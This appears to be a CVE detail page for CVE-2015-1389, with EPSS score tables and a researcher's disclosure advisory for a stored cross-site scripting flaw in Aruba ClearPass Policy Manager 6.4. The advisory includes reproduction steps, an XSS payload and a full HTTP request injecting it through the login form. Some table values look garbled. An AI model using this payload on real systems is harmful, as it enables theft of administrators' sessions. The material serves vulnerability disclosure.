CVE-2015-1389 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.17%	–	–
2022-03-13	–	–	2.17%	–	–
2022-04-03	–	–	2.17%	–	–
2022-06-26	–	–	2.17%	–	–
2022-10-16	–	–	1.95%	–	–
2022-10-23	–	–	1.95%	–	–
2023-01-01	–	–	1.95%	–	–
2023-01-15	–	–	1.95%	–	–
2023-03-12	–	–	–	0.82%	–
2023-04-23	–	–	–	0.63%	–
2023-07-30	–	–	–	0.62%	–
2023-10-15	–	–	–	0.62%	–
2023-12-03	–	–	–	0.62%	–
2023-12-10	–	–	–	0.62%	–
2024-02-11	–	–	–	0.62%	–
2024-03-31	–	–	–	0.62%	–
2024-06-02	–	–	–	0.62%	–
2024-11-24	–	–	–	0.62%	–
2024-12-22	–	–	–	0.44%	–
2025-01-19	–	–	–	0.44%	–
2025-03-18	–	–	–	–	7.47%
2025-03-18	–	–	–	–	7.47,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	58%
2022-03-13	59%
2022-04-03	79%
2022-06-26	8%
2022-10-16	77%
2022-10-23	78%
2023-01-01	77%
2023-01-15	78%
2023-03-12	79%
2023-04-23	76%
2023-07-30	76%
2023-10-15	77%
2023-12-03	76%
2023-12-10	77%
2024-02-11	78%
2024-03-31	79%
2024-06-02	79%
2024-11-24	8%
2024-12-22	75%
2025-01-19	75%
2025-03-18	91%
2025-03-18	91%

=============================================================================== title: ClearPass Policy Manager Stored XSS case id: CM-2014-01 product: Aruba ClearPass Policy Manager vulnerability type: Stored cross-site script severity: Medium found: 2014-11-24 by: Cristiano Maruti (@cmaruti) =============================================================================== [EXECUTIVE SUMMARY] The analysis discovered a stored cross site scripting vulnerability (OWASP OTG-INPVAL-002) in the ClearPass Policy Manager. A malicious unauthenticated user is able to inject arbitrary script through the login form that may be rendered and triggered later if a privileged authenticated user reviews the access audit record. An attack can use the aforementioned vulnerability to effectively steal session cookies of privileged logged on users. [VULNERABLE VERSIONS] The following version of the Aruba ClearPass Policy Manager was affected by the vulnerability; previous versions may be vulnerable as well: - Aruba ClearPass Policy Manager 6.4 [TECHNICAL DETAILS] It is possible to reproduce the vulnerability following these steps: 1. Open the login page with your browser; 2. Put the "><img src=x onerror=alert(1337)><" string in the username field and fill in the password field with a value of your choice; 3. Submit the form; 4. Login to the application with an administrative user: 5. Go to "Monitoring -> Live monitoring -> Access tracker" to raise the payload. Below a full transcript of the HTTP request used to raise the vulnerability HTTP Request ------------------------------------------------------------------------------- POST /tips/tipsLoginSubmit.action HTTP/1.1 Host: 10.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://10.0.0.1/tips/tipsLoginSubmit.action Cookie: <A VALID UNAUTH COOKIE> Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 58 username="><img src=x onerror=alert("0wn3d")><"&password=test ------------------------------------------------------------------------------- A copy of the report with technical details about the vulnerability I have identified is available at: https://github.com/cmaruti/reports/blob/master/aruba_clearpass.pdf [VULNERABILITY REFERENCE] The following CVE ID was allocated to track the vulnerability: - CVE-2015-1389: Stored cross-site scripting (XSS) [DISCLOSURE TIMELINE] 2014-11-24 Vulnerability submitted to vendor through the Bugcrowd bounty program. 2014-12-09 Vendor acknowledged the problem. 2014-12-10 Researcher requested to publicly disclose the issue. 2015-02-16 Vendor released a fix for the reported issue. 2015-02-09 Vendor asked to hold-on for the public disclosure. 2015-02-22 Vendor postponed the public disclosure date 2015-02-22 Public coordinated disclosure. [SOLUTION] Aruba release an update to fix the vulnerability (ClearPass 6.5 or later). Please see the below link for further information released by the vendor: - http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2015-006.txt [REPORT URL] https://github.com/cmaruti/reports/blob/master/aruba_clearpass.pdf